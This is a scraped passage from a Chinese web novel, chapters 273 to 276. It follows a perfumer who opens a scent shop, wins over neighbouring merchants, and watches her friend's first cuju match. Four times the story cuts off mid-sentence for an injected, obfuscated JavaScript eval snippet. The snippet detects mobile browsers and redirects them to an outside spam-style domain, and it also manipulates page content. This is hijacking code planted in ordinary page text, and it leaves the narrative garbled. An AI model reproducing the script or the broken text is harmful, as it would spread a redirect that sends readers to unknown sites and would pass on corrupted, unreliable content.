花了一些时日调制了几样香,用好看的青瓷瓶分装好。 这装香膏的容器,也是精心挑选过的,不同的香,对应的香盒也不一样。 清雅的香就用素色调的瓷瓶,馥郁的香就用明艳调的瓷瓶,瓶身有些是描金,有些是暗纹,还有双层雕镂。 曾经她在徽城香铺的经验,此时派上了用场。 那个时候的她,不仅要制香、调香,还负责给客人讲解推售,除了不碰源头料,从调制到售卖,她都熟稔掌握。 …… 赵七娘开了一家制衣店,经常有贵人上门。 “我见你隔壁开了个铺子,不知做什么的,连个招牌也没有,一眼望进去,看不出个名堂。”一个择衣衫的妇人说道。 这妇人年近四旬,生得高,体型微丰,派头很足很富贵,身后跟了两个仆妇,她的衣衫在别家制不好,唯有在赵七娘的云裳阁才能挑到合适的。 赵七娘笑道:“我前些时没来铺子,倒也不知情。” 那妇人又道:“你就不怕来个对家,开在你旁边?” “郑夫人说笑了,这有甚怕的,打开门做生意,真要是个对家,敢在我旁边开店,不知道谁死呢。”赵七娘声音婉转,两眼像会说话似的,叫人一看就知此人是个厉害角儿。 “你说的倒也是,这京都城没哪家能赛过你的云裳阁,不说别的,光凭你曾进宫给皇后制衣,就够说道一辈子的。” 谈及这事,赵七娘真心笑道:“那是娘娘心善,也是咱们娘娘看得起,这才赏奴家一口饭吃,奴唯有尽心把衣裳做好了,方对得起这份看重和赏识。” 郑氏正待接她的话,店里进来两人。 郑氏同赵七娘看去,就见进来一貌美女子,女子身着一件交襟窄袖蜜色长衫,梳着云岫髻,簪着一根碧翠,往好听了说是素净,往不好听说就是寒酸。 她的身后还跟着一个脸上有疤痕的丫头。 其实江念也知,这会儿该金玉加身,琳琅挂佩,可那些东西以她眼下的能力置办不起。 又不能买假货装样,这些人眼睛可毒,只消看一眼,就能辨认真假好坏,与其这样还不如不戴。 江念刚一进入,一个女伙计迎上来:“娘子要制衣衫?” 江念笑道:“敢问你们东家可在?” 那女伙计下意识看向赵七娘,江念瞥见,心下了然,走了过去,福了福身:“可是云裳阁东家?” 赵七娘回以一礼:“正是,不知娘子是……” 江念笑道:“奴家叫念娘,是隔壁香料铺子的。” 赵七娘快速把江念上下打量一眼,抿嘴笑道:“原来是隔壁的东家,奴姓赵,人都唤七娘,适才郑夫人还同我说,不知你家开的什么店,这会儿知道了。” 江念又看向旁边的高个妇人,向她施了一礼,那妇人颔首回礼。 “因是新开的铺面,好多事情要料理,我一妇人家,忙前就顾不上后,好不容易把里面的东西置办齐,这不门牌还没挂哩!” “那铺子就单靠你一人打理?”赵七娘问道。 “有个丫头帮忙,二位不知,我们才逃难来的,家当都在战火中失了,好不容易逃出来,可算是老天保佑,留了一条命。” 那郑氏一听,惊唬道:“咱们大夏国哪里又起战火了?” 郑氏家是给各官衙买办的,虽是商户,家况却很富庶,像他们这样的有钱人家,最怕的就是打仗,只有太太平平的,才安享富贵。 一旦战乱,再多的家当也是被人洗劫、打砸,哪还有好日子可过。 江念解说道:“夫人误会了,我是从外海来的,原是大梁人,现在家破国亡了。” 郑氏听说不是自己国家,也就放下心,不过再看江念时,倒带了些同情:“你一妇人远渡而来,当真是不易,你家夫君呢?” “嗳!一言难尽……” 赵七娘听到此处,也有些唏嘘,一个女子居然敢渡海到异国,还开铺面做生意,这份胆识叫她高看。 “坐下喝杯茶水,平日里有什么难处,隔壁左右的只管开口。”赵七娘说道。 江念微笑道谢:“现下倒没什么,我适才调了两盒香膏,一盒给七娘,另一盒赠予郑夫人,二位莫要嫌弃。” 说着,让秋水将香膏奉上。 两人的丫头接过,再转呈到二人手里。 赵七娘又邀:“我让丫头看茶。” 江念不多待,说道:“谢七娘赐茶,只是店中事务还多,一时间抽不出身来,待我料理得差不多了,再来讨茶。” 说罢向二人施了一礼,转身离开了。 秋水从后说道:“娘子,那香膏可是精贵,就这么送出去了?” 江念微笑道:“咱们初来乍到,先把左右关系打点好,再者,香料铺子的生意还需她们帮引,都是相互的,走,再去隔壁的首饰铺。” “嗳!” 待江念走后,郑氏看了眼手里的香盒,本不将这东西当回事,随手得来之物怎能入她的眼。 可那瓶身精细贵巧,她花重金买来的胭脂的外盒也没这个好看,竟让她有些喜爱,于是又好奇地看了一眼赵七娘手里的香盒。 “哟!你这个也好看。” 赵七娘的香盒是瓷的,海棠色,描着葡萄纹金边,底部又有一圈宝蓝色的碎鳞。 她将香盒打开,幽幽的香气升起,带着清冷感,清冽且悠远,像是小河边的野花,自然纯净,一点也不艳俗。 赵七娘被这香兜住心神,忍不住拿近了些,再去闻。 “京都城中,从来不曾有过这种香味哩!”郑氏从旁道,迫不及待打开自己的香盒。 是另一种香,温暖、浓郁,不能凑近闻,拿远一些,其香浓甜如蜜,丰腴似玉。 郑氏欢喜得要不得,刚才闻了赵七娘的香,她爱,现下闻了自己的这个,更是爱了,这香在京都城找不出。 不说郑氏,就是赵七娘也喜欢。 林记在京都是首屈一指的香料铺,只怕连林记都制不出这样的香,更别说其他。 如今市面上的大多香,无非就那么几种,香得喷人。 看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873169|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位念娘当真有几分本事,只怕以后京都的香行要重新洗牌了。 …… 郑氏带着仆妇出了云裳阁,乘着马车回了自家府宅,因太喜闻那香,便打开香盒,拿指在手腕上抹了些。 待回到宅院后,郑氏问一边的下人:“老爷回了没有?” 下人回说:“老爷在丝竹轩。” 郑氏听后,暗骂了一声小**,惯会装清高样,当自己是高门显贵的小娘子呢,不过就是花楼迎欢卖笑的姐儿,被她家老爷花重金买了回来。 最后将她安置在浣花坞,才住进去没两天,就生出幺蛾子,在老爷面前哭诉,说什么不愿住浣花坞,问她为什么,她便说,这院名里有个花,她不喜花,让她想起自己从花楼出来的。 老爷听后让她自己改名,她就起了个“丝竹轩”。 那院子同她的院子只隔一道墙,一有动静,听得清清楚楚,哀哀凄凄地也不知唱得什么,等她唱过后,总能听到她家老爷在一边慨然。 然后当夜就留在那小贱的院里,她这里便盼不到人。 郑氏年近四旬,说年轻罢,不似那妙龄少女,说不年轻罢,她保养得当,身量高,体格丰盈,自有一股别样的韵味。 可自打这个兰心来了后,老爷便常宿那边,偶尔来她院里,也只是应付似的歇一夜。 再怎么说,她也是正头娘子,是陪他吃过苦的人,最后却连一个花楼的姐儿都不如! 郑氏气红了眼眶,却也忍下,先回自己院子梳洗更衣,重上妆面,想了想又把新得的香膏点了些在耳、颈间,灶房也已备下酒菜。 然后一股风似的去了隔壁的丝竹轩,才一进院子,就见她家老爷正闭着眼,仰躺于竹椅上,那个花楼女子在旁边替他打扇。 男人姓李,因为给各大府衙采买的事宜,人称他一声李买办,男人似有所觉,睁开眼,见月洞门下的郑氏,脸上闪过一丝不自然。 “你怎么过来了?” 郑氏忍住委屈,说道:“妾身今日生辰,老爷忘了?” 李买**了怔,似是才想起,从椅座上欠起身,说道:“近日事务繁忙,倒真是忘了。” 站起身,往月洞门下的郑氏走去,偏这个时候身后响起另一个柔声:“老爷,妾身竟不知今日是姐姐的生辰,不如就在我这丝竹轩里摆桌酒,也热闹些不是?” 郑氏再也压不住怒气,啐了一口:“你一个花楼女哪来的脸同我姊妹相称?”郑氏越说越气,“你一个出去卖的玩意,难不成我跟你一样,也是出去卖的?” 这话一脱口,郑氏就知道说错了,哪有往自己身上泼脏的,果然就见正往她走来的老爷停住脚,脸色沉了下来。 那兰心又道:“奴自知轻贱,却也是好心,既然夫人不愿意,只当妾身没说过。” 郑氏看向自家老爷,那李买办却沉声道:“你先过去。” 郑氏红着眼,站了一会儿,她这是连最后一点脸也没了。 李买办看了郑氏一眼,想他二人是患难夫妻,追说了一句:“我晚些来。” 第274章 这个香,为夫喜欢…… 郑氏听李买办说晚些去她那边,心里虽然气着,见好就收,回了自己的院子。 “奴虽身**,却也是一片好意,却被这样辱骂,好没意思。”年轻女子哀哀戚戚说着,用食指顶着帕拭脸上本就不存在的泪珠。 “莫要多想。”李买办安慰了一句。 兰心仍拿帕子轻拭香腮,指望男人再轻哄几句,谁知没了后话,刚才那句“你不要多想”也略显干巴。 李买办先时还喜这兰心娇柔细语,时不时轻泣几声,也惹人怜爱,可时日一久,就有些腻烦,感觉一进她的院子连那草木都是蔫的,没个精神。 “我去那边看看。”李买办说着,起身出了丝竹轩。 兰心怔在那里,杏眼圆睁,有些反应不过来。 郑氏回了房,桌上已摆满了各种珍肴和佳酿,然而这一桌子菜馔又冷又无味,不像给人吃的,像是供品。 她就端端坐在上首,黯淡的光下,麻着脸,幽幽地叹了一口气,今日,她又是去彩蝶轩买簪环,又是去云裳阁置办新衣。 现下看来,简直就是笑话,花了再多心思,也不如人家一声嘤咛。 正要下人把桌面撤去,院前值守的丫鬟来报:“夫人,老爷来了。” 郑氏霍地站起,理了理衣衫,迎了出去,立在门首盼看着。 李买办一抬眼,就见立在门下的妇人,淡淡的灯光模糊了岁月在她脸上的痕迹。 “只当老爷不会来的。”郑氏将李买办请入房内,又让下人们去温酒。 适才两人离得远,李买办还未注意,这会儿走得近了才闻到郑氏周身萦绕着不一样的香息,就像是她本身自带的体香,宜嗔宜喜间散发出来的,符合她的脾性和外貌。 和洽的香息,又增加了一抹色调,是无形的妆面,看不见,摸不着,让人闻了没法拒绝。 “你身上是什么香?怎么从来没闻过?”李买办问道。 郑氏呆了呆,心思一转,说道:“老爷多长时间不来我这院子,自然不知道了。” 李买办清了清嗓子,坐于上首,郑氏叫了丫鬟进来布菜、递酒。 两人吃着,夫妇二人倒也不至于没话说,毕竟这么些年的夫妻,彼此都还是了解的。 譬如,李买办喝酒要温几分热,太凉了他胃寒,过热他又不愿入口,而李买办呢,成日面对那边一张哀戚的样貌,不时还要轻哄,已有些生厌。 可郑氏不同,话语敞亮,眉目精神,叫他心里轻松自在。 用**后,下人们撤了桌面,郑氏说道:“妾身让人备水?” 李买办正要说话,屋外响起人声:“老爷,我家娘子刚才不小心崴了脚,烦请老爷去看看。” 郑氏听罢,脸色变得不好看,从前不是没有过,只要老爷留置她这边,那边院子总要闹出点动静。 她出声挽留,不仅留不住人,老爷反倒责她小心肠,使她怄气不说,还让小**得意。 是以,这会儿,她也只是冷着脸,不言语,知道老爷定会去那边。 “脚崴了找大夫来,老爷我又不是大夫。”李买办说道。 那丫头听后,呆怔不动,完全没料到得到这么一句话,以前只要兰心姑娘一点头疼脑热,老爷哪次不紧张,这次怎么不一样? “还不快去?”李买办轻喝道。 那丫头连连应下,退出院外。 郑氏心下欢喜,眉眼带笑,赶紧让下人们备水。 到了夜里,帷帐晃荡,传出脸红的异响,伴着妇人似欢似乞的扬声颤语,把屋门外看守的丫头听了个大脸红。 郑氏落在上面,摆着腰肢。 妇人虽有些年纪,可那一身雪白的肌却是晃眼,尤其情动之时,从脸到颈脖透出的粉色,像树上熟好的桃,白中生出粉来。 然而,这次不同,起落没几下,李买办就翻身压她在身下,将她的脸压在枕间,贴了上来,凑到她的颈间,狠狠吸了一口。 “这个香……为夫喜欢……” 男人的话钻入妇人的耳中,搔弄了她的心,那耳便被这话催熟了。 二人在香色中寻回了年轻时的情调,到最后,这香混着妇人的体味,更加独特。 …… 江念的香铺终于挂上了牌匾,香远山。 店里布置得差不多,该有的都有了,香品已上架,明日就可以正式开张。 江念看了眼店里的陈设,连日来事事轻力轻为,无一不操心,总算走出了一步。 “娘子,这就是咱们的小店啦!”秋水欢喜道。 江念点了点头,这就是她的铺子,她们要靠这个铺子活下去,好好地活下去。 此时,外面天色微暗,是淡色的蓝和深色的白,店里进来一人。 江念转头看去,逆着光,只见那人宽肩窄腰,身前摆着一个松散的发辫,宽大的裤腿,脚口束着,踩着一双短靴。 正是苏和,这人借住于店铺二楼,之后一次面也未碰过。 早上她来店铺时,他已走了,待她闭店时,他还未回,不过她让秋水给了他一把钥匙,若不是这晚闭店时正巧碰上,她几乎忘了还有这么个人。 “苏郎君今日回得可早。”江念向他打招呼。 苏和走了进来,脸上带着笑:“不在那里做活了,所以下了个早工。” 江念想了想,才知道他说的应是没再做苦力了,点了点头:“挺好的。” 不过并不打算追问。 江念不愿多说,可苏和心情很好,想找个人说话,在这里,他有种江念和她是同乡的错觉。 “你要关店了?”苏和问道。 江念瞥了外面一眼:“看时候也差不多了,准备回去。” 苏和“哦”了一声,声音低下去:“那你早些回去。” 江念微笑着点了点头,然后带着秋水离了店,因苏和回了,她便不闭店。 才走没几步,男人追了上来,说道:“天色有些暗了,要不我陪你走一段?” “不必,你也累了一日。”江念婉拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878491|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 “使一点点力气,哪就累了。” 江念笑而不语,这意思便是不必再说了,不用他相送。 苏和只好说道:“因着今日有件喜事,便想同人分享,我在这里也没认识的人,就你们三人。” 江念想了想,说道:“苏郎君用过晚饭不曾?” 苏和眼睛微亮,连连摇头。 “若是不嫌弃,郎君去寒舍坐一坐,治一桌酒,一来贺喜事,二来也算我三人答谢海上的救命之恩,如此可好?” 苏和听罢后,一个转身回了店中,锁上店门,再回身同江念二人往长福坊走去。 一路上没遇着搭行的板车,走了好一会儿才回到院子。 云娘打开院门,见是江念和秋水回了,身后还跟了一人,认出是海上的救命恩人,那个叫阿和的,忙把人让进院中,本是已备好的饭菜,又忙忙去街口买了些冷菜,打了些酒回。 几人围坐于桌边,秋水替几人满上酒。 江念三人先是举杯请苏和,谢他在危难时候出手相救,之后几人也没甚讲究,边吃边闲话。 “我进了蹴鞠社。”苏和说道。 这倒让江念没想到,之前听他说这边的蹴鞠社满员了,再一个蹴鞠社拣孩子培养,他的年纪没有优势。 “确是一件可喜之事,当再请苏郎君一盏。”江念笑说道。 苏和忙举起杯盏回应:“进是进去了,却是储备社员,还不能上场,平日主要做些杂务。” “你球技不凡,总有上场的机会,而且能入蹴鞠社,便能练球,不至于把这一门技艺殆懈了。”江念说道。 这话说到苏和的心坎上,他之前做苦役只是暂时,因身上没银钱,但有手有脚,总不能把自己饿死。 他别的不怕,就怕球技日渐生疏,这一行,天赋是其一,更重要的是苦练。 从前人们都道他是蹴鞠天才,却不知他背后流了多少汗,靴子几天就废,没人比他更下功夫。 苏和称是,回请了一杯:“借念娘吉言。” 这个时候,云娘插话问道:“郎君可有妻室?” 苏和笑着摇了摇头。 “郎君样貌英俊,待进了蹴鞠社,定会赢得许多女子倾慕。”云娘说道。 苏和笑了笑,并不言语。 几人一直吃到夜深方散,苏和辞去。 …… 次日一早,江念去了铺子,因是头一日开张,敲锣打鼓这些是必不可少的,门匾红绸张结,热闹喜气。 隔壁的云裳阁和彩蝶轩也前来送礼道贺,门前聚了人凑看热闹,江念让秋水发了一些小食给围观的男女老少,图个喜庆。 热闹过后,便清静下来。 一上午只来了几拨客人,江念热情地为她们推荐,客人们无不喜欢,可待人走后,就会好半天无人上门,眼看着的清冷。 守了一段时日后,生意仍不见起色,她想尽快做起来,否则投出的本钱几时才能回。 不行,得下一剂猛药…… 第275章 凑双喜 江念去了云裳阁,云裳阁的女伙计认得江念,这一次来不待她开口,直接引她到隔间坐下,上了茶点。 “娘子稍候,我们东家正在楼上裁衣,这就请她来。”女伙计说道。 江念微笑道:“有劳了。” 女伙计去了,可是过了好半晌赵七娘也没来,江念手边的茶换了三盏,心道,难道赵七娘不愿见自己?还是手上事情太忙? 当下也不好多待,于是站起身,走到女伙计跟前:“想来七娘今日忙着,改日再来叨扰。” 正说着,赵七娘从二楼走了下来。 “让念娘久候了。” 于是,两人回到隔间坐下,伙计又重新续了茶,江念往她脸上看了一眼,见她眉尖紧着,嘴角轻抿。 “是不是遇上什么事了?” 赵七娘叹了一声,说道:“确实碰上一件事。” “不妨说出来,总好过憋闷在心里。”江念端起茶盏,轻啜一口,眼珠在眼皮下轻轻一溜。 “此事呢倒也不是什么大事,办好了,是该的,若办不好,就关系到我的身家性命。”赵七娘说道。 江念好奇地问道:“关乎身家性命?” 赵七娘便把事情说了出来。 原来是工部侍郎家的许三娘和许四娘,这三娘和四娘打一个娘胎出来的,后一个踩着前一个头出来的两姊妹。 姊妹两人容貌相似,性格却截然相反,但有一点,都不是好惹的主,一个面冷心冷,一个嘴甜心狠,为了凑双喜,二人同一日出嫁,嫁得自然也是门当户对的人家。 江念听着,觉着一切都很合理,没什么问题。 “两位官户娘子出嫁,怎么愁着你了?” 赵七娘又道:“问题就出在她二人的嫁衣上。” “嫁衣?” “是,这二人打从记事就开始攀比,胭脂水分要比,头饰簪环要比,连头发长短也要比,就连她二人嫁的夫家,在背地里少不得攀比,非要较个高低。” 江念笑道:“七娘如何知道得这样清楚?” 赵七娘也忍不住笑了:“这在咱们京都不是什么秘密,谁人不知工部侍郎家的两朵金花。” “所以你是怕她二人的嫁衣尽心做好了,却叫她二人拿来攀比,攀比之下,总有一方被压下去,而你呢,不是得罪这个,便是得罪那个。” 赵七娘看向江念:“一说你就明了,适才我正在上面给她二人裁料子呢。” 江念点头道:“确实是个吃力不讨好的事,不接还不行。” “正是呢,咱们这些商家再有名头,哪能跟那些官户比,一个指头揿下来就能摁死咱们。” “七娘如今怎么想的呢?”江念问道。 赵七娘也不隐瞒:“我方才思虑了半日,不如把她二人的嫁衣除了尺寸以外,其他的面料、款式、花样都做一样,如此一来,两边不得罪,念娘觉着这样可好?” 江念见她问自己,猜她故意拿话试探,于是说道:“七娘若把她二人的嫁衣做得一样,只怕不仅讨不了她二人的欢喜,还会将她二人都得罪了,得罪她二人不说,连同她二人的夫家也一并得罪。” 赵七娘自然知道这一点,不过是想试一试江念的清浊。 “这是怎么说?” 江念笑道:“有道是‘合而不同’,她二人不论从样貌或是身形,相似度本就高,若把嫁衣缝制一样,未免让人瞧着怪异,更需要通过外在差异达成平衡方好,再一个,这姊妹二人嫁的夫家也不同,嫁衣更要不同,才显得尊重,当然还有最后一点,也是民间的说法。” 赵七娘一面听着一面赞同地点头,认真地问道:“什么说法?” “民间有种说法,若是嫁衣相同可能会‘争运’,越是高门大户,越是讲究这些,所以七娘万不可将她二人的嫁衣缝制成一样。” 江念的每句话都说到赵七娘的心坎上,甚至还有她想不到的‘争运’一说。 她当然不会将二人的嫁衣缝制一样,却想探探这位制香娘子能否有好的主意。 “念娘说得在理,不知可有好办法了却此烦心事?” 江念暗忖,她正有事相求于赵七娘,若能替她解此难事,之后也好开口。 “她二人虽说平日里好较高低,可婚嫁乃女子终身大事,并非儿戏,没人比工部家的两位娘子更重视,既然选择将嫁衣托给七娘缝制,必是七娘制衣的手艺冠绝京都,无人能及。” 好话谁都爱听,江念先褒扬一番,果然,那赵七娘听说后心情舒展几分。 “这两位娘子虽是双生子,可总有不同之处,厌恶不同,喜好不同,是喜花鸟虫鱼,或是其他什么,就譬如这花,世间大多女子都爱,是喜那雍容华贵真牡丹,还是晓妆如玉木芙蓉,抑或是不妖不染水清莲……” 江念见赵七娘若有所思,知她是个伶俐人,一听就明白。 “七娘不如打点一下她们的大丫头,问一问,自然就有头绪了。” 赵七娘面上愁容顿散,笑道:“得亏你来,不然我还愁着呢。” “当不得什么。” “对了,尽说我的事了,念娘来找我可是有事相商?” 江念点头道:“确实有一事请七娘帮衬。” “念娘直言,若能相帮奴家自当竭力。” “我是想着把我家香料制成凝珠,用制衣的余料缝合,系于成衣上,如此一来,我这香沾了你衣裳的光,你的衣裳也增了香色,岂不两全?就是需你家缝人多费一道工夫,不知七娘可愿意?” 衣铺的客人多,且在云裳阁置衣的客人非富即贵,她正好可借这个便利,把香铺名声打出去。 赵七娘想了想,说道:“这倒没什么,也不存在多一道工夫,不过多穿几道线。” 赵七娘说到底是个生意人,虽说江念刚才帮了她,可涉及生意还是会慎重。 “好是好,只是担心有些客人若不喜衣料染香该当如何?” 江念笑道:“所以我才说以余料缝合,系之,若是不喜直接摘除便可,且不说这些,时人但凡家境尚可的,谁不以香炉熏衣?况这香普适,非孤标不群,不会叫人反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878492|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感。” 一语毕,继而又道,“不如这样,先拿一小部分试一试,行或不行,七娘试过后再定夺,如何?” 赵七娘当真喜欢同这位念娘交谈,说话进退有度不说,也不叫人为难。 “那就按念娘说的试一试,兴许我这衣服以后还沾你家的香色哩!” 谁承想,本是一句无心话,最后竟成了真。 之后,江念回了铺子,开始调制衣香,因不营利,不能用名贵的香材,却又要香息好闻还不能太过女气。 于是用蕙草、甘松、柏子之类的草植组合调制,最后凝成珍珠大小的香丸。 江念用盒装了,再命秋水送了过去,她该做的都做了,之后就等生意上门。 这一办法很有效果,连赵七娘亦没料到,好些客人差小仆上门询问,不止女客还有男客。 之后,云裳阁的所有衣衫便缀上了香珠袋。 自然了,江念先以“香珠系衣”打出名头,待生意起来,云裳阁若还想要香珠,就另说了。 客人们慕名而来,香远山的生意渐渐热闹起来。 店中只她和秋水二人,有些忙不过来,便让云娘辞了生药铺子的活计。 秋水跟了她一段时日,已可以制一些简单的香,而云娘从前在司药局待过,上起手来也容易。 这日,天色渐暗,秋水闭了半扇门,江念扒拉着算盘,清这一日的账目,算到最后,脸上露出一个笑。 秋水见了,问道:“娘子,咱们是不是赚了?” 江念微笑道:“赚了,连本钱都回了。” 云娘惊呼一声:“这么快就回本了?” 香料这一行利丰厚,比制衣铺子还来财。 “嗯,回了,咱们今日也去酒楼吃顿好的,如何?” 正说着,苏和回了店里,脸上带着笑:“我适才听你们说要去酒楼?” 云娘一面擦着店里的柜台,一面说道:“是呢,阿和同我们一道去罢。” “有什么喜事么?”苏和问道。 江念仍是扒拉着算盘,头也不抬地说道:“算不上喜事,就是来这大夏京都许久,还未在这里的酒楼享用过美食,准备去试一试,你既然也回了,就同去。” 苏和却道:“我就不去了,你们去。” 相处日久,苏和同江念三人已十分相熟,三人说话便随意起来。 江念三人把他看着。 苏和坐到江念对面,自顾自地倒了一杯水,先喝了一口,然后嘴角压不住地上扬。 “什么事?欢喜成这样?”江念见他笑得有些意思。 云娘和秋水也走了过来。 苏和清了清嗓子,说道:“今儿正式进入蹴鞠社,明日首场比试,你们来。” 云娘和秋水二人惊呼:“这可是天大的好事。” 江念想了想,来大夏国这么长时间,大家早已熟络,平时在一起也说说笑笑,他同她们都属外乡人,而且他的样貌一眼能辨出是异族,身边除了她们三人,在此地没一个亲朋好友。 明日他首场赛事,需得有人给他撑场助威…… 第276章 不一样的刺激 江念看了苏和一眼,转头对云娘和秋水说:“明日阿和的首场赛事,云姐姐同秋水休一日,去给他助助威。” 云娘下意识问道:“你不去?” “店里还需人守着,你们去。”江念说道。 苏和端起茶杯抿了口茶,眼皮垂着,嘴角带着淡淡的笑,却是不说话。 云娘拉着秋水坐了下来,说道:“咱们人本来就少,你再不去,就只我和水丫头两人,怎么助威?人家的声音都能把我们压死。” 江念笑道:“我若去了,就变成把我们仨儿给压**。” 几人一听,都笑了起来。 “阿和也不是一个人,他还有队友呢,他所属哪个队,那队的支持者会给他喝彩。”江念说道。 云娘看了一眼苏和,转而又笑道:“那怎么能一样,你不去,我和水丫头都提不起劲儿,是不是水丫头?”云娘拿胳膊杵了杵秋水。 “是呀,娘子,去嘛,一起去,你是当家娘子,气运足,能量大,只要你往那里一站,再多的人都敌不过你。” 江念撑不住笑起来。 苏和看了江念一眼,说道:“你明日若去,我定能赢。” “合着我是个吉祥物?”江念说道。 “秋水刚才不说了,你气运足,能量大。”云娘从旁道。 江念笑着看了苏和一眼,又转头看向云娘和秋水,说道:“好。” 其他三人这才露出笑来。 江念把算盘噼里啪啦一清,说道:“那咱们今晚就不去酒楼了,待明日阿和赢了蹴鞠赛,我们再一起去酒楼吃一场,如何?” “再好不过。”云娘欢喜道。 几人又说了几句,时候有些晚了,江念、云娘还有秋水离了店。 次日,江念还是先到店铺去了一趟,守了会儿店,迎了好几拨客人,店中无人时去了隔壁。 江念觉着,苏和首战,光她们三个人还是太少了,需得再叫上一些人。 遂邀了云裳阁的赵七娘和彩蝶轩的柳元娘一同去看蹴鞠社的比赛,两个美妇人又各自带了丫鬟。 如此一来,就是六七个人的队伍,众人挤坐着前后两辆马车,一齐往蹴鞠社去,到了蹴鞠社前,几人下了马车。 蹴鞠社前车马簇簇,入口处已排了好长的队伍,有男有女,有老有少,江念等一行人下来,引得不少人的目光。 几人也不排队,走向另一个入口,那里的人相对少很多,不过江念知道,从这里进入需另外再加钱。 她请了赵七娘和柳元娘,她们的费用自然是她包,虽是小钱,花着也肉疼,心道,等苏和从蹴鞠社赚了银子,那个时候他也不缺钱,她再向他讨要。 几人进了场内,江念看着内部的布置,同夷越的蹴鞠社大同小异,也是一座屋宇,两边有楼阶通往上面的看台,屋宇对面有一扇门,门那边就是蹴鞠场。 这时,从侧面一扇门进来十几个头勒红绫之人,江念在那些人中扫了一眼,便看见了苏和,他似有所觉地看了过来。 江念朝他点了点头,不便多说什么,从楼阶上了看台。 不同于另一边的普区,这一区以小纱屏隔开,半敞。 几人刚坐下,就有人来登记押注。 江念这回没使小聪明,押了苏和所在的红队赢,赵七娘和柳元娘两人也跟着江念压了红队。 比赛即将开始,两方人员上场,一方是苏和所在的红队,另一方是蓝队。 场上顿时热闹起来,听到旁边有人议论。 “听说红队上了一个异族人顶了老曹的缺,从外海来的。” “老曹今日没上?”又一人问道。 “没,说是退下来了,正巧备用人临时出了事,来不了,小一点的队员暂时顶不上,那外族人赶上了时候,这才把他临时借用一下,也就是充充数。” “不过这新人是个外族人,倒也挺有看头。” “这倒是。” 正说着,队员们准备就绪。 一声锣响,监赛人抛球,比赛正式开始。 轰动的看台安静下来,千百双眼睛跟着场中人动,每进一球,场上都会杂着喝彩声和唏嘘声。 从比试到现在,已进了两球,而这两球俱是蓝队进的。 江念看向场中的苏和,见他面色稍紧,颈微微压着,不知在想什么。 锣声再次响起,球一抛出,两队开始继续比试,然而这第三球仍是蓝队的,一连三球,蓝队得分。 中间开始休息。 看台上终于忍不住叫骂起来。 这些人押注了红队,可红队一连输掉三球,再输下去,他们就得赔钱,他们把过错归在新来的异族人身上。 “外鬼滚出红队!” “废物!眼瞎了不成?” “软脚虾!你腿是面条做的?!一撞就倒!白吃那么多饭!” “蠢材!猪脑子!连球路都看不清,还踢什么蹴鞠!回家种地去罢!” “龟孙子!爷的棺材本都让你一脚踢没了!我咒你全家!” “**,就是这异鬼害红队输球。” 叫骂声越来越大,响动全场。 先时还不觉着,从刚才看到现在,江念发现了不对劲,苏和分明是红队的人,可红队的人根本不传球给他,把他边缘化了,排除在整个球队之外。 若说因为他是新人,或介意他异族人的身份不传球与他,也说得过去,可气就气在,红队的人不仅不传球给他,他们还从他脚下抢球! 这哪里是踢球,分明是在围剿!这不就相当于,整人球场,苏和一个人一队,其他人一队。 全场人!全场人联合起来对付他一人! 江念不禁想,她们今日若没来,苏和该怎么办?一个人在场上孤立无援,任这些人欺压辱骂?!越想心里越压不住怒意,这份怒意中带着心酸。 不带这样欺负人,她先前还说他所属的那队会有声援者给他呐喊助威,呸! 江念正想着,旁边再次响起私议声。 “那异族人倒霉,分到了红队,他若去了蓝队也不至于这样受排斥。” “你说的可是红队队长冯三郎?” “不是他又是谁,这家伙心黑得很,但凡队里进一个像样的,他就怕人家威胁到他队长的位置,背地里软硬兼施,拉拢其他人,排挤那些新来的,以保全他队长的地位。” “那蹴鞠社的东家看不明白?就这么放任不管?” “怎么不知道,谁又不是傻子,不过是担心他走了,一下子没人能胜任队长的位置,新进的苗子成长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏和听着耳边的叫喊声,眼中却只有一人,看着她为自己卖力呐喊,深深吸了一口气,默默地把护腕松了松,再次紧上。 他曾说,你明日来,我定能赢。 经江念这一声势,场中的看客们明白了,已经不以颜色区分敌我,根本没有什么红队、蓝队,只有那个异族人以一敌全场。 监赛人提着锣走到苏和身边,问道:“行不行?”又好意提醒道:“这可是个难得的机会。” 